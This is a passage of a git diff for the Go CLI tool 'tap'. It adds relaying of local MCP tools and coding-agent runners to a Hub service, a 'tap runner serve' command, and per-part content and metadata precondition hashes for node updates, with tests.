NewProcess(t, false, "launch", "claude", "--hub", "--dry-run", "--", "--verbose").Run(sb.Context(), sb.Runtime()) require.NoError(t, res.Err) out := string(res.Stdout) require.Contains(t, out, "hub atlas -> @me/qwen3:8b (via loopback forwarder)") @@ -49,6 +49,31 @@ func TestLaunchCommand_DryRunClaude(t *testing.T) { require.NotContains(t, out, "hub-token", "the Hub credential never appears") } +// Claude Code defaults to split mode: its own login for Claude models, Hub's +// catalog beside them, and no Hub key in its environment. +func TestLaunchCommand_DryRunClaudeSplit(t *testing.T) { + t.Parallel() + sb := newLaunchSandbox(t, "flight: \"@testuser/+root\"\n") + + res := NewProcess(t, false, "launch", "claude", "--dry-run").Run(sb.Context(), sb.Runtime()) + require.NoError(t, res.Err) + out := string(res.Stdout) + require.Contains(t, out, "split: Claude models via your Claude login, hub atlas models via loopback forwarder; starting on Claude Code's default") + require.Contains(t, out, `"replaceBuiltInOptions":false`) + require.Contains(t, out, "ANTHROPIC_BASE_URL=http://127.0.0.1:/t//anthropic") + require.NotContains(t, out, "ANTHROPIC_AUTH_TOKEN") + require.NotContains(t, out, "unset: ANTHROPIC_API_KEY") + require.NotContains(t, out, "hub-token") + + res = NewProcess(t, false, "launch", "claude", "--subscription", "--dry-run").Run(sb.Context(), sb.Runtime()) + require.NoError(t, res.Err) + require.Contains(t, string(res.Stdout), "subscription: models via your Claude login") + require.NotContains(t, string(res.Stdout), "ANTHROPIC_BASE_URL") + + res = NewProcess(t, false, "launch", "claude", "--hub", "--subscription", "--dry-run").Run(sb.Context(), sb.Runtime()) + require.Error(t, res.Err, "--hub and --subscription conflict") +} + func TestLaunchCommand_DryRunShowsGeneratedFiles(t *testing.T) { t.Parallel() sb := newLaunchSandbox(t, "") diff --git a/pkg/cli/cmd_mcp.go b/pkg/cli/cmd_mcp.go index 54e7bfc..8ad6b12 100644 --- a/pkg/cli/cmd_mcp.go +++ b/pkg/cli/cmd_mcp.go @@ -69,6 +69,17 @@ per-command permission prompts.`, }} srv.AddReceivingMiddleware(allow.Middleware) } + // The caller's relayed tools ride along beside the KEG tools. + // Hub decides which: all of the caller's own and shared ones, or + // the launched agent's gate when TAP_AGENT names one. + if relayToolsEnabled(rt) { + if endpoint, token, ok := deps.Tap.HubRelayTools(rt.Env().Get("TAP_AGENT")); ok { + stop := mcp.StartRelayProxy(cmd.Context(), srv, mcp.RelayProxyOptions{ + Endpoint: endpoint, Token: token, Logger: rt.Logger(), Version: Version, + }) + defer stop() + } + } err = srv.Run(cmd.Context(), &sdkmcp.StdioTransport{}) if err != nil && errors.Is(err, io.EOF) { return nil @@ -79,6 +90,17 @@ per-command permission prompts.`, return cmd } +// relayToolsEnabled reports whether `tap mcp` should proxy relayed tools: +// not when TAP_RELAY_TOOLS=off, and not inside a run a runner tool started +// (TAP_RUNNER_DEPTH), which must not delegate again through the same tools. +func relayToolsEnabled(rt *toolkit.Runtime) bool { + if strings.EqualFold(strings.TrimSpace(rt.Env().Get("TAP_RELAY_TOOLS")), "off") { + return false + } + depth := strings.TrimSpace(rt.Env().Get("TAP_RUNNER_DEPTH")) + return depth == "" || depth == "0" +} + // mcpServerOptions builds the option set for `tap mcp`. It exists as a named // function so the shared-filesystem choice is assertable without standing up a // stdio server: dropping it would silently cost `tap mcp` its local-path diff --git a/pkg/cli/cmd_relay.go b/pkg/cli/cmd_relay.go index d6faf25..da8034e 100644 --- a/pkg/cli/cmd_relay.go +++ b/pkg/cli/cmd_relay.go @@ -17,13 +17,14 @@ func NewRelayCmd(deps *Deps) *cobra.Command { cmd := &cobra.Command{ Use: "relay", - Short: "offer this machine's models to Hub (experimental)", + Short: "offer this machine's models and tools to Hub (experimental)", Long: `Connect to Hub and offer the models of your configured providers to your -account's model catalog. The relay dials out to Hub and stays connected, so no -inbound port is needed. Provider credentials stay on this machine. +account's model catalog, and the tools of your configured MCP servers and of +this machine's coding agents to Hub. The relay dials out to Hub and stays connected, so no inbound port is +needed. Provider credentials and MCP server settings stay on this machine. -Providers are configured in your user config only; project config cannot set -them: +Providers and MCP servers are configured in your user config only; project +config cannot set them: relay: enabled: true # optional; false turns the relay off @@ -40,6 +41,23 @@ them: auth: apiKey apiKeyEnv: OPENROUTER_API_KEY # the variable's name, never the key maxConcurrent: 16 + mcp: + everything: # a stdio server the relay starts + command: npx + args: ["-y", "@modelcontextprotocol/server-everything"] + envFrom: [GITHUB_TOKEN] # passed through; others are not + timeout: 2m # optional; longest one call may run + notes: # a streamable HTTP server already running + url: http://127.0.0.1:3000/mcp + headersFromEnv: {Authorization: NOTES_MCP_AUTH} + tools: + deny: ["delete_*"] + runners: # optional; the built-in servers below, all off + claude: {run: true, tools: true} # "claude" and "claude-tools" + codex: {run: true} # "codex"; likewise opencode and pi + roots: [~/src] # where delegated tasks may work (default ~) + timeout: 30m # longest one delegated task may run + maxConcurrent: 2 # delegated tasks running at once, per server Without relay.hubs the relay serves the one hub 'tap auth login' would use; --hub narrows it to that hub even when relay.hubs is set. With several hubs, @@ -47,6 +65,28 @@ every hub sees every provider. Each provider's maxConcurrent (default 4) is its limit across all of them: a hub that asks while that provider is full hears "overloaded", and the relay's other providers are unaffected. +MCP servers are forwarded only to hubs that support relayed tools; others get +the models alone. Hub can call a tool only by the server and tool names the +relay listed; a stdio server gets PATH, HOME, locale settings and the variables +in envFrom, not the relay's whole environment. A server that exits is +restarted. + +Relayed tools reach Hub's chat, Hub's /mcp/relay endpoint, and every 'tap mcp' +(the Claude Code plugin's server included). Without an agent a caller gets all +of their own relayed tools plus those shared with them; with an agent +(TAP_AGENT for 'tap mcp') they are gated by that agent's relay:tools. +TAP_RELAY_TOOLS=off keeps a 'tap mcp' from offering them. + +Built-in servers are off until relay.runners turns them on, and each is +offered only when its program is on PATH. "claude", "codex", "opencode" and +"pi" (relay.runners.NAME.run) each run 'tap runner serve --runner NAME', one +tool (claude_code_run, codex_run, opencode_run, pi_run) that runs a task in a +directory under relay.runners.roots. "claude-tools" +(relay.runners.claude.tools) runs 'claude mcp serve'. Each agent keeps its own +permission settings. Who may call them is decided on Hub, where each server is +enabled and shared on its own. A relay.mcp entry with the same name replaces a +built-in, or removes it with enabled: false. + The relay authenticates to each hub with that hub's token from 'tap auth login'. It runs in the foreground until interrupted, reconnecting if a connection drops. Disconnecting it from a hub's Account → Relay page stops it for that hub for @@ -61,7 +101,7 @@ Experimental and unstable: expect this to change.`, opts.Version = Version out := cmd.ErrOrStderr() opts.OnRegistered = func(hubURL string, reg relaycontract.Registered) { - fmt.Fprintf(out, "relay connected to %s with %d model(s)\n", hubURL, len(reg.Models)) + fmt.Fprintf(out, "relay connected to %s (protocol %d) with %d model(s)\n", hubURL, reg.Protocol, len(reg.Models)) for _, m := range reg.Models { fmt.Fprintf(out, " %s\n", m.CatalogID) } diff --git a/pkg/cli/cmd_root.go b/pkg/cli/cmd_root.go index 316051a..f1730e5 100644 --- a/pkg/cli/cmd_root.go +++ b/pkg/cli/cmd_root.go @@ -324,7 +324,7 @@ func NewRootCmd(deps *Deps) *cobra.Command { NewVersionCmd(deps), } if deps.Profile.IncludeIntegrations { - subcommands = append(subcommands, NewIntegrateCmd(deps), NewHookCmd(deps), NewLaunchCmd(deps), NewRelayCmd(deps)) + subcommands = append(subcommands, NewIntegrateCmd(deps), NewHookCmd(deps), NewLaunchCmd(deps), NewRelayCmd(deps), NewRunnerCmd(deps)) } var configCmd *cobra.Command if deps.Profile.IncludeConfigCommand { diff --git a/pkg/cli/cmd_runner.go b/pkg/cli/cmd_runner.go new file mode 100644 index 0000000..9e39897 --- /dev/null +++ b/pkg/cli/cmd_runner.go @@ -0,0 +1,84 @@ +package cli + +import ( + "errors" + "io" + + sdkmcp "github.com/modelcontextprotocol/go-sdk/mcp" + "github.com/spf13/cobra" + + "github.com/jlrickert/tapper/pkg/tapper" +) + +// NewRunnerCmd builds `tap runner`, the coding-runner MCP server the relay +// starts, one harness at a time, as its built-in runner servers. +func NewRunnerCmd(deps *Deps) *cobra.Command { + cmd := &cobra.Command{ + Use: "runner", + Short: "delegate tasks to this machine's coding agents (experimental)", + Long: `Commands for handing tasks to the coding agent CLIs installed on this +machine: Claude Code, Codex, opencode and pi. 'tap relay' starts +'tap runner serve --runner NAME' as its built-in runner MCP servers, one per +harness turned on in relay.runners; see 'tap relay --help'.`, + } + cmd.AddCommand(newRunnerServeCmd(deps)) + return cmd +} + +func newRunnerServeCmd(deps *Deps) *cobra.Command { + var only string + cmd := &cobra.Command{ + Use: "serve", + Short: "serve the installed coding agents as MCP tools on stdio", + Long: `Start an MCP server on stdio with one tool per coding agent CLI found on +PATH: claude_code_run, codex_run, opencode_run and pi_run. Each tool takes a +task, an absolute cwd, and optionally a session id to continue and a model, +runs the agent non-interactively there, and returns its final reply and +session id. --runner serves just the named one (claude, codex, opencode, or +pi), which must be installed. + +Each agent applies its own permission settings; nothing here bypasses them. +Claude Code's print mode denies anything that would need a prompt, and +'codex exec' runs in a read-only sandbox unless your config grants more. + +Environment: + TAP_RUNNER_ROOTS directories a task's cwd must be under (PATH-style + list; default $HOME) + TAP_RUNNER_TIMEOUT longest one task may run (default 30m) + TAP_RUNNER_DEPTH set to 1 or more, every call is refused; each agent + started here gets it incremented, so a delegated + agent cannot delegate again + +Agents started here also get TAP_RELAY_TOOLS=off, which keeps their own +'tap mcp' from offering relayed tools.`, + Args: cobra.NoArgs, + SilenceUsage: true, + SilenceErrors: true, + RunE: func(cmd *cobra.Command, _ []string) error { + svc, err := tapper.NewRunnerService(deps.Runtime) + if err != nil { + return err + } + if only != "" { + if err := svc.Only(only); err != nil { + return err + } + } + srv := tapper.NewRunnerMCPServer(svc, Version) + err = srv.Run(cmd.Context(), &sdkmcp.StdioTransport{}) + if err != nil && errors.Is(err, io.EOF) { + return nil + } + return err + }, + } + cmd.Flags().StringVar(&only, "runner", "", "serve only this runner: claude, codex, opencode, or pi") + _ = cmd.RegisterFlagCompletionFunc("runner", func(*cobra.Command, []string, string) ([]string, cobra.ShellCompDirective) { + names := make([]string, 0, len(tapper.Runners)) + for _, spec := range tapper.Runners { + names = append(names, spec.Name) + } + return names, cobra.ShellCompDirectiveNoFileComp + }) + return cmd +} diff --git a/pkg/keg/errors.go b/pkg/keg/errors.go index c19940e..4394f15 100644 --- a/pkg/keg/errors.go +++ b/pkg/keg/errors.go @@ -53,9 +53,14 @@ var ( // preserving the current representation needed to recover and retry. It // unwraps to ErrConflict so existing conflict checks continue to work. type PreconditionConflictError struct { - Resource string - CurrentHash string - CurrentContent []byte + Resource string + CurrentHash string + // CurrentContentHash and CurrentMetaHash are the node's current per-part + // tokens (see NodePartHashes). Set for node conflicts; empty for + // whole-document resources such as schemas and settings. + CurrentContentHash string + CurrentMetaHash string + CurrentContent []byte } func (e *PreconditionConflictError) Error() string { diff --git a/pkg/keg/keg_aggregate.go b/pkg/keg/keg_aggregate.go index 28a755a..d289a52 100644 --- a/pkg/keg/keg_aggregate.go +++ b/pkg/keg/keg_aggregate.go @@ -170,12 +170,14 @@ type RemoveNodesResult struct { } type BatchFailure struct { - NodeID NodeId `json:"node_id"` - Code string `json:"code"` - Status int `json:"status"` - Message string `json:"message"` - CurrentHash string `json:"current_hash,omitempty"` - CurrentContent []byte `json:"current_content,omitempty"` + NodeID NodeId `json:"node_id"` + Code string `json:"code"` + Status int `json:"status"` + Message string `json:"message"` + CurrentHash string `json:"current_hash,omitempty"` + CurrentContentHash string `json:"current_content_hash,omitempty"` + CurrentMetaHash string `json:"current_meta_hash,omitempty"` + CurrentContent []byte `json:"current_content,omitempty"` } func newBatchFailure(id NodeId, err error) *BatchFailure { @@ -184,6 +186,8 @@ func newBatchFailure(id NodeId, err error) *BatchFailure { var conflict *PreconditionConflictError if errors.As(err, &conflict) { f.CurrentHash = conflict.CurrentHash + f.CurrentContentHash = conflict.CurrentContentHash + f.CurrentMetaHash = conflict.CurrentMetaHash f.CurrentContent = append([]byte(nil), conflict.CurrentContent...) } return f @@ -194,7 +198,7 @@ func (f *BatchFailure) Err() error { return nil } if f.Status == http.StatusPreconditionFailed { - return &PreconditionConflictError{Resource: f.NodeID.Path(), CurrentHash: f.CurrentHash, CurrentContent: append([]byte(nil), f.CurrentContent...)} + return &PreconditionConflictError{Resource: f.NodeID.Path(), CurrentHash: f.CurrentHash, CurrentContentHash: f.CurrentContentHash, CurrentMetaHash: f.CurrentMetaHash, CurrentContent: append([]byte(nil), f.CurrentContent...)} } return RemoteErrorFromCode(f.Code, f.Status, f.Message) } @@ -235,21 +239,35 @@ type NodeOpenOptions struct { } type NodeUpdateOptions struct { - ID NodeId `json:"id"` - Schema string `json:"schema,omitempty"` - Content []byte `json:"content"` - HasContent bool `json:"has_content,omitempty"` - Meta []byte `json:"meta,omitempty"` - HasMeta bool `json:"has_meta,omitempty"` - LockToken LockToken `json:"lock_token,omitempty"` - ExpectedHash string `json:"expected_hash,omitempty"` - SnapshotBefore bool `json:"snapshot_before,omitempty"` + ID NodeId `json:"id"` + Schema string `json:"schema,omitempty"` + Content []byte `json:"content"` + HasContent bool `json:"has_content,omitempty"` + Meta []byte `json:"meta,omitempty"` + HasMeta bool `json:"has_meta,omitempty"` + LockToken LockToken `json:"lock_token,omitempty"` + // ExpectedHash is the combined content+metadata token (NodeView.Hash). + // It is checked only when neither part token below is set. + ExpectedHash string `json:"expected_hash,omitempty"` + // ExpectedContentHash and ExpectedMetaHash are per-part tokens + // (NodeView.ContentHash, NodeView.MetaHash). When either is set the + // combined ExpectedHash is ignored and each supplied part is checked + // against its own token: content requires ExpectedContentHash when + // HasContent, metadata requires ExpectedMetaHash when HasMeta. Editing one + // part therefore never conflicts with a concurrent edit to the other. + ExpectedContentHash string `json:"expected_content_hash,omitempty"` + ExpectedMetaHash string `json:"expected_meta_hash,omitempty"` + SnapshotBefore bool `json:"snapshot_before,omitempty"` } type NodeUpdateResult struct { ID NodeId `json:"id"` Validation *SchemaValidationResult `json:"validation,omitempty"` Hash string `json:"hash"` + // ContentHash and MetaHash are the written node's per-part tokens, so a + // follow-up node edit needs no re-read. + ContentHash string `json:"content_hash,omitempty"` + MetaHash string `json:"meta_hash,omitempty"` } type NodeSnapshotRequest struct { @@ -914,8 +932,7 @@ func (k *LocalKeg) updateNode(ctx context.Context, opts NodeUpdateOptions) (*Nod if err := k.validateAggregateLock(lockCtx, opts.ID, opts.LockToken); err != nil { return err } - currentHash := existing.Hash() - if err := checkExpectedHash("node "+opts.ID.Path(), opts.ExpectedHash, currentHash, nodeRecoveryContent(existing)); err != nil { + if err := checkNodeUpdatePrecondition(lockCtx, k.Runtime, opts, existing); err != nil { return err } diff --git a/pkg/keg/keg_batch.go b/pkg/keg/keg_batch.go index dde81d4..68f7dfa 100644 --- a/pkg/keg/keg_batch.go +++ b/pkg/keg/keg_batch.go @@ -186,8 +186,7 @@ func (k *LocalKeg) updateNodes(ctx context.Context, updates []NodeUpdateOptions) if err := k.validateAggregateLock(ctx, opts.ID, opts.LockToken); err != nil { return nil, &BatchMutationError{Index: i, NodeID: opts.ID, Err: err} } - currentHash := existing.Hash() - if err := checkExpectedHash("node "+opts.ID.Path(), opts.ExpectedHash, currentHash, nodeRecoveryContent(existing)); err != nil { + if err := checkNodeUpdatePrecondition(ctx, k.Runtime, opts, existing); err != nil { return nil, &BatchMutationError{Index: i, NodeID: opts.ID, Err: err} } contentBytes := existing.Content @@ -269,7 +268,8 @@ func (k *LocalKeg) updateNodes(ctx context.Context, updates []NodeUpdateOptions) } return nil, &BatchMutationError{Index: i, NodeID: item.opts.ID, Err: errors.Join(err, errors.Join(rollback...))} } - results[i] = NodeUpdateResult{ID: item.opts.ID, Validation: item.validation, Hash: item.data.Stats.Hash()} + contentHash, metaHash := NodePartHashes(k.Runtime, item.content, item.data.Meta) + results[i] = NodeUpdateResult{ID: item.opts.ID, Validation: item.validation, Hash: item.data.Stats.Hash(), ContentHash: contentHash, MetaHash: metaHash} } updatedNodes := make([]*NodeData, len(prepared)) for i := range prepared { diff --git a/pkg/keg/keg_iface.go b/pkg/keg/keg_iface.go index 6db5dc6..d67b839 100644 --- a/pkg/keg/keg_iface.go +++ b/pkg/keg/keg_iface.go @@ -322,6 +322,10 @@ type NodeView struct { Files []string Images []string hash string + // contentHash and metaHash are the per-part tokens (NodePartHashes), + // filled at read time for the parts the read loaded. + contentHash string + metaHash string } // Hash is the node's precondition token: the value a caller echoes back as @@ -339,6 +343,17 @@ func (v NodeView) Hash() string { return v.Stats.Hash() } +// ContentHash is the content part's precondition token: the value a caller +// echoes back as NodeUpdateOptions.ExpectedContentHash. Unlike Hash it covers +// content only, so a metadata edit never invalidates it. Empty when the read +// did not load content (a meta-only read). +func (v NodeView) ContentHash() string { return v.contentHash } + +// MetaHash is the metadata part's precondition token: the value a caller +// echoes back as NodeUpdateOptions.ExpectedMetaHash. A content edit never +// invalidates it. Empty when the read did not load metadata. +func (v NodeView) MetaHash() string { return v.metaHash } + // QueryOptions configures Keg.Query. type QueryOptions struct { // Expr is the boolean query expression, e.g. "project and .updated>2026-01-01". diff --git a/pkg/keg/keg_local_view.go b/pkg/keg/keg_local_view.go index 39791b9..44c73b1 100644 --- a/pkg/keg/keg_local_view.go +++ b/pkg/keg/keg_local_view.go @@ -40,6 +40,7 @@ func (k *LocalKeg) readNodeMeta(ctx context.Context, id NodeId) (*NodeView, erro stats = &NodeStats{} } view := &NodeView{ID: id, Meta: meta, Stats: stats} + view.setPartHashes(ctx, k.Runtime, false) if stats.Hash() == "" { content, err := k.Repo.ReadContent(ctx, id) if err != nil { @@ -88,6 +89,7 @@ func (k *LocalKeg) readNode(ctx context.Context, id NodeId) (*NodeView, error) { Meta: meta, Stats: stats, } + view.setPartHashes(ctx, k.Runtime, true) if view.Stats.Hash() == "" { parsedContent, parseErr := ParseContent(k.Runtime, content, MarkdownContentFilename) if parseErr == nil { diff --git a/pkg/keg/keg_remote.go b/pkg/keg/keg_remote.go index 403d774..d23cfd7 100644 --- a/pkg/keg/keg_remote.go +++ b/pkg/keg/keg_remote.go @@ -36,6 +36,8 @@ type apiErrorEnvelope struct { Code string `json:"code"` OperationPerformed bool `json:"operationPerformed"` CurrentHash string `json:"currentHash"` + CurrentContentHash string `json:"currentContentHash"` + CurrentMetaHash string `json:"currentMetaHash"` CurrentContent string `json:"currentContent"` } @@ -281,9 +283,11 @@ func (k *RemoteKeg) mapError(resp *http.Response, op string) error { } if resp.StatusCode == http.StatusPreconditionFailed { return &PreconditionConflictError{ - Resource: where, - CurrentHash: env.CurrentHash, - CurrentContent: []byte(env.CurrentContent), + Resource: where, + CurrentHash: env.CurrentHash, + CurrentContentHash: env.CurrentContentHash, + CurrentMetaHash: env.CurrentMetaHash, + CurrentContent: []byte(env.CurrentContent), } } @@ -627,14 +631,16 @@ func (k *RemoteKeg) ReadNode(ctx context.Context, id NodeId) (*NodeView, error) } stats = parsed } - return &NodeView{ + view := &NodeView{ ID: viewID, Content: []byte(resp.Content), Meta: []byte(resp.Meta), Stats: stats, Files: resp.Assets, Images: resp.Images, - }, nil + } + view.setPartHashes(ctx, nil, true) + return view, nil } // GetContent implements Keg via GET /nodes/{id}/content. diff --git a/pkg/keg/keg_remote_aggregate.go b/pkg/keg/keg_remote_aggregate.go index d5bcaa0..fdffbb4 100644 --- a/pkg/keg/keg_remote_aggregate.go +++ b/pkg/keg/keg_remote_aggregate.go @@ -34,7 +34,7 @@ type remoteNodeView struct { Images []string `json:"images"` } -func decodeRemoteNodeView(resp remoteNodeView) (NodeView, error) { +func decodeRemoteNodeView(resp remoteNodeView, withContent bool) (NodeView, error) { id, err := ParseNode(resp.ID) if err != nil { return NodeView{}, err @@ -46,7 +46,9 @@ func decodeRemoteNodeView(resp remoteNodeView) (NodeView, error) { return NodeView{}, err } } - return NodeView{ID: *id, Content: []byte(resp.Content), Meta: []byte(resp.Meta), Stats: stats, Files: resp.Assets, Images: resp.Images}, nil + view := NodeView{ID: *id, Content: []byte(resp.Content), Meta: []byte(resp.Meta), Stats: stats, Files: resp.Assets, Images: resp.Images} + view.setPartHashes(context.Background(), nil, withContent) + return view, nil } func (k *RemoteKeg) ReadNodes(ctx context.Context, opts ReadNodesOptions) ([]NodeView, error) { @@ -66,7 +68,7 @@ func (k *RemoteKeg) ReadNodes(ctx context.Context, opts ReadNodesOptions) ([]Nod } out := make([]NodeView, 0, len(wire)) for _, item := range wire { - view, err := decodeRemoteNodeView(item) + view, err := decodeRemoteNodeView(item, !opts.MetaOnly) if err != nil { return nil, NewBackendError("remote", "ReadNodes", 0, err, false) } @@ -186,7 +188,7 @@ func (k *RemoteKeg) OpenNode(ctx context.Context, opts NodeOpenOptions) (*NodeVi }{opts.Touch, string(opts.LockToken)}, &wire, http.StatusOK); err != nil { return nil, err } - view, err := decodeRemoteNodeView(wire) + view, err := decodeRemoteNodeView(wire, true) if err != nil { return nil, err } @@ -240,17 +242,30 @@ func (k *RemoteKeg) CreateNodes(ctx context.Context, nodes []NodeCreate) ([]Crea func (k *RemoteKeg) UpdateNodes(ctx context.Context, updates []NodeUpdateOptions) ([]NodeUpdateResult, error) { type wireUpdate struct { - NodeID int `json:"node_id"` - Schema string `json:"schema,omitempty"` - Content *string `json:"content,omitempty"` - Meta *string `json:"meta,omitempty"` - LockToken string `json:"lock_token,omitempty"` - ExpectedHash string `json:"expected_hash,omitempty"` - SnapshotBefore bool `json:"snapshot_before,omitempty"` + NodeID int `json:"node_id"` + Schema string `json:"schema,omitempty"` + Content *string `json:"content,omitempty"` + Meta *string `json:"meta,omitempty"` + LockToken string `json:"lock_token,omitempty"` + ExpectedHash string `json:"expected_hash,omitempty"` + // The part tokens are keyed, not positional, for the same reason + // as CreateNodes: a field added to NodeUpdateOptions must not go + // unsent here without anything failing. + ExpectedContentHash string `json:"expected_content_hash,omitempty"` + ExpectedMetaHash string `json:"expected_meta_hash,omitempty"` + SnapshotBefore bool `json:"snapshot_before,omitempty"` } wire := make([]wireUpdate, len(updates)) for i, item := range updates { - wire[i] = wireUpdate{NodeID: item.ID.ID, Schema: item.Schema, LockToken: string(item.LockToken), ExpectedHash: item.ExpectedHash, SnapshotBefore: item.SnapshotBefore} + wire[i] = wireUpdate{ + NodeID: item.ID.ID, + Schema: item.Schema, + LockToken: string(item.LockToken), + ExpectedHash: item.ExpectedHash, + ExpectedContentHash: item.ExpectedContentHash, + ExpectedMetaHash: item.ExpectedMetaHash, + SnapshotBefore: item.SnapshotBefore, + } if item.HasContent { v := string(item.Content) wire[i].Content = &v @@ -261,9 +276,11 @@ func (k *RemoteKeg) UpdateNodes(ctx context.Context, updates []NodeUpdateOptions } } var response []struct { - ID int `json:"id"` - Hash string `json:"hash"` - Validation *SchemaValidationResult `json:"validation,omitempty"` + ID int `json:"id"` + Hash string `json:"hash"` + ContentHash string `json:"content_hash,omitempty"` + MetaHash string `json:"meta_hash,omitempty"` + Validation *SchemaValidationResult `json:"validation,omitempty"` } if err := k.putJSON(ctx, "/nodes", "UpdateNodes", struct { Updates []wireUpdate `json:"updates"` @@ -272,7 +289,7 @@ func (k *RemoteKeg) UpdateNodes(ctx context.Context, updates []NodeUpdateOptions } out := make([]NodeUpdateResult, len(response)) for i, item := range response { - out[i] = NodeUpdateResult{ID: NodeId{ID: item.ID}, Hash: item.Hash, Validation: item.Validation} + out[i] = NodeUpdateResult{ID: NodeId{ID: item.ID}, Hash: item.Hash, ContentHash: item.ContentHash, MetaHash: item.MetaHash, Validation: item.Validation} } return out, nil } diff --git a/pkg/keg/node_stats.go b/pkg/keg/node_stats.go index 5e706e4..459e64c 100644 --- a/pkg/keg/node_stats.go +++ b/pkg/keg/node_stats.go @@ -331,6 +331,64 @@ func nodeStateHash(rt *toolkit.Runtime, contentHash string, meta *NodeMeta) stri return hasher.Hash(buf.Bytes()) } +// NodePartHashes returns the per-part precondition tokens for a node: one for +// its content and one for its metadata. Unlike the combined state hash +// (nodeStateHash), editing one part never changes the other part's token, so +// a content edit and a metadata edit on one node do not conflict. +// +// contentHash is the same value ParseContent records as NodeContent.Hash. +// metaHash hashes the same normalized YAML the combined hash uses +// (programmatic keys stripped, tags normalized). Both are always non-empty, +// even for empty content or absent metadata, so a caller always has a token to +// echo back. +func NodePartHashes(rt *toolkit.Runtime, content []byte, meta *NodeMeta) (contentHash, metaHash string) { + return nodeContentHash(rt, content), nodeMetaHash(rt, meta) +} + +func nodePartHasher(rt *toolkit.Runtime) toolkit.Hasher { + if rt != nil { + return toolkit.OrDefaultHasher(rt.Hasher()) + } + return toolkit.OrDefaultHasher(nil) +} + +func nodeContentHash(rt *toolkit.Runtime, content []byte) string { + if content == nil { + content = []byte{} + } + return nodePartHasher(rt).Hash(content) +} + +func nodeMetaHash(rt *toolkit.Runtime, meta *NodeMeta) string { + metaYAML := "" + if meta != nil { + metaYAML = meta.ToYAML() + } + if strings.TrimSpace(metaYAML) == "" { + metaYAML = "" + } + return nodePartHasher(rt).Hash([]byte(metaYAML)) +} + +// nodeRawMetaHash is nodeMetaHash over stored meta bytes. Bytes that do not +// parse fall back to a hash of the raw bytes, so the token stays deterministic +// and a caller can still overwrite broken metadata. +func nodeRawMetaHash(ctx context.Context, rt *toolkit.Runtime, raw []byte) string { + meta, err := ParseMeta(ctx, raw) + if err != nil { + return nodePartHasher(rt).Hash(raw) + } + return nodeMetaHash(rt, meta) +} + +// setPartHashes fills the per-part tokens from the view's loaded bytes. +func (v *NodeView) setPartHashes(ctx context.Context, rt *toolkit.Runtime, withContent bool) { + if withContent { + v.contentHash = nodeContentHash(rt, v.Content) + } + v.metaHash = nodeRawMetaHash(ctx, rt, v.Meta) +} + func writeNodeStateHashPart(buf *bytes.Buffer, value string) { _, _ = fmt.Fprintf(buf, "%d:", len(value)) buf.WriteString(value) diff --git a/pkg/keg/precondition.go b/pkg/keg/precondition.go index 959c01a..9108627 100644 --- a/pkg/keg/precondition.go +++ b/pkg/keg/precondition.go @@ -1,8 +1,12 @@ package keg import ( + "context" "crypto/sha256" + "errors" "fmt" + + "github.com/jlrickert/cli-toolkit/toolkit" ) // DocumentHash returns the precondition token for a whole-document keg @@ -62,3 +66,58 @@ func nodeRecoveryContent(view *NodeView) []byte { out = append(out, view.Content...) return out } + +// checkNodeUpdatePrecondition guards a node update against the state it was +// read at. +// +// When the caller supplies a per-part token (ExpectedContentHash or +// ExpectedMetaHash), each part being written is checked against its own token +// and the combined ExpectedHash is ignored: a part written without its token +// is ErrPreconditionRequired, a stale token is a PreconditionConflictError. +// Otherwise the combined ExpectedHash is checked exactly as before, which is +// what callers that hold NodeView.Hash rely on. +func checkNodeUpdatePrecondition(ctx context.Context, rt *toolkit.Runtime, opts NodeUpdateOptions, existing *NodeView) error { + resource := "node " + opts.ID.Path() + currentContentHash, currentMetaHash := existing.ContentHash(), existing.MetaHash() + if currentContentHash == "" { + currentContentHash = nodeContentHash(rt, existing.Content) + } + if currentMetaHash == "" { + currentMetaHash = nodeRawMetaHash(ctx, rt, existing.Meta) + } + conflict := func() error { + return &PreconditionConflictError{ + Resource: resource, + CurrentHash: existing.Hash(), + CurrentContentHash: currentContentHash, + CurrentMetaHash: currentMetaHash, + CurrentContent: nodeRecoveryContent(existing), + } + } + if opts.ExpectedContentHash == "" && opts.ExpectedMetaHash == "" { + err := checkExpectedHash(resource, opts.ExpectedHash, existing.Hash(), nodeRecoveryContent(existing)) + var pc *PreconditionConflictError + if errors.As(err, &pc) { + pc.CurrentContentHash = currentContentHash + pc.CurrentMetaHash = currentMetaHash + } + return err + } + if opts.HasContent { + if opts.ExpectedContentHash == "" { + return fmt.Errorf("%s content (expected content hash): %w", resource, ErrPreconditionRequired) + } + if opts.ExpectedContentHash != currentContentHash { + return conflict() + } + } + if opts.HasMeta { + if opts.ExpectedMetaHash == "" { + return fmt.Errorf("%s metadata (expected meta hash): %w", resource, ErrPreconditionRequired) + } + if opts.ExpectedMetaHash != currentMetaHash { + return conflict() + } + } + return nil +} diff --git a/pkg/keg/precondition_test.go b/pkg/keg/precondition_test.go index 7b5b4d3..c8b928b 100644 --- a/pkg/keg/precondition_test.go +++ b/pkg/keg/precondition_test.go @@ -199,3 +199,121 @@ func TestLocalKegQueryRemovalPinsHashesInsideWriteBoundary(t *testing.T) { require.NoError(t, err) require.True(t, exists) } + +func TestNodePartHashesAreDeterministicAndNormalized(t *testing.T) { + t.Parallel() + fx := NewSandbox(t) + ctx := fx.Context() + + emptyContent, emptyMeta := keg.NodePartHashes(fx.Runtime(), nil, nil) + require.NotEmpty(t, emptyContent, "empty content still has a token") + require.NotEmpty(t, emptyMeta, "absent meta still has a token") + parsedEmpty, err := keg.ParseMeta(ctx, nil) + require.NoError(t, err) + _, parsedEmptyMeta := keg.NodePartHashes(fx.Runtime(), []byte{}, parsedEmpty) + require.Equal(t, emptyMeta, parsedEmptyMeta, "nil and empty meta share a token") + + content := []byte("# Title\n\nBody.\n") + parsed, err := keg.ParseContent(fx.Runtime(), content, keg.MarkdownContentFilename) + require.NoError(t, err) + contentHash, _ := keg.NodePartHashes(fx.Runtime(), content, nil) + require.Equal(t, parsed.Hash, contentHash, "content token matches ParseContent's hash") + + a, err := keg.ParseMeta(ctx, []byte("tags:\n - b\n - a\n")) + require.NoError(t, err) + b, err := keg.ParseMeta(ctx, []byte("tags:\n - a\n - b\n")) + require.NoError(t, err) + _, aHash := keg.NodePartHashes(fx.Runtime(), nil, a) + _, bHash := keg.NodePartHashes(fx.Runtime(), nil, b) + require.Equal(t, aHash, bHash, "meta token uses the normalized YAML") +} + +func TestLocalKegNodePartPreconditionsAreIndependent(t *testing.T) { + t.Parallel() + fx := NewSandbox(t) + ctx := fx.Context() + k := keg.NewLocalKeg(newTestMemoryRepo(fx.Runtime()), fx.Runtime()) + initNonStrictTestKeg(t, k, 